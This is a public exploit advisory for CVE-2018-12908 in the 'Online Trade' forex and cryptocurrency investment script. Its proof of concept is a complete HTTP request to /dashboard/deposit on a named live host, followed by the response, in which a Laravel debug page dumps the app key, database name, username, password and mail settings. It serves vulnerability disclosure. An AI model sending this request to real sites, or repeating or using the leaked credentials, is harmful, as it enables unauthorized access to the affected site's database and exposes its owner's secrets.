Online Trade - Information Disclosure

# Exploit Title: Online Trade 1 - Information Disclosure
# Date: 2018-07-03
# Exploit Author: L0RD
# Vendor Homepage:
https://codecanyon.net/item/online-trade-online-forex-and-cryptocurrency-investment-system/21987193?s_rank=14
# CVE: CVE-2018-12908
# Version: 1
# Tested on: Win 10
=======================================
# Description :
Online trading and cryptocurrency investment system 1 allows
information disclosure by appending /dashboard/deposit.
The following path contains database credentials and other information
(username , password , database_name etc).

# POC :

# Request :
===================
GET /dashboard/deposit HTTP/1.1
Host: trade.brynamics.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
===================
# Response :
===================
HTTP/1.1 405 Method Not Allowed
Date: Tue, 12 Jun 2018 21:21:45 GMT
Server: Apache
X-Powered-By: PHP/7.0.30
allow: POST
Cache-Control: no-cache, private
Content-Type: text/html; charset=UTF-8
Content-Length: 371161

<td>APP_ENV</td><span class=sf-dump-str title="5
characters">local</span></td>
<td>APP_KEY</td><span class=sf-dump-str title="51
characters">base64:NyL/WHTpZ0IhYKu7hHAzpF/Pvqn7+dD87tgpVvvEZrg=</span></td>
<td>APP_URL</td><span class=sf-dump-str title="16 characters">
http://localhost</span></td>
<td>DB_CONNECTION</td><span class=sf-dump-str title="5
characters">mysql</span></td>
<td>DB_HOST</td><span class=sf-dump-str title="9
characters">127.0.0.1</span></td>
<td>DB_PORT</td><span class=sf-dump-str title="4
characters">3306</span></td>
<td>DB_DATABASE</td><span class=sf-dump-str title="14
characters">torrpgug_trade</span></td>
<td>DB_USERNAME</td><span class=sf-dump-str title="15
characters">torrpgug_p2pguy</span></td>
<td>DB_PASSWORD</td><span class=sf-dump-str title="15
characters">undisputed@2017</span></td>
<td>MAIL_HOST</td><span class=sf-dump-str title="16 characters">
smtp.mailtrap.io</span></td>
<td>MAIL_PORT</td><span class=sf-dump-str title="4 characters">2525</span>
========================================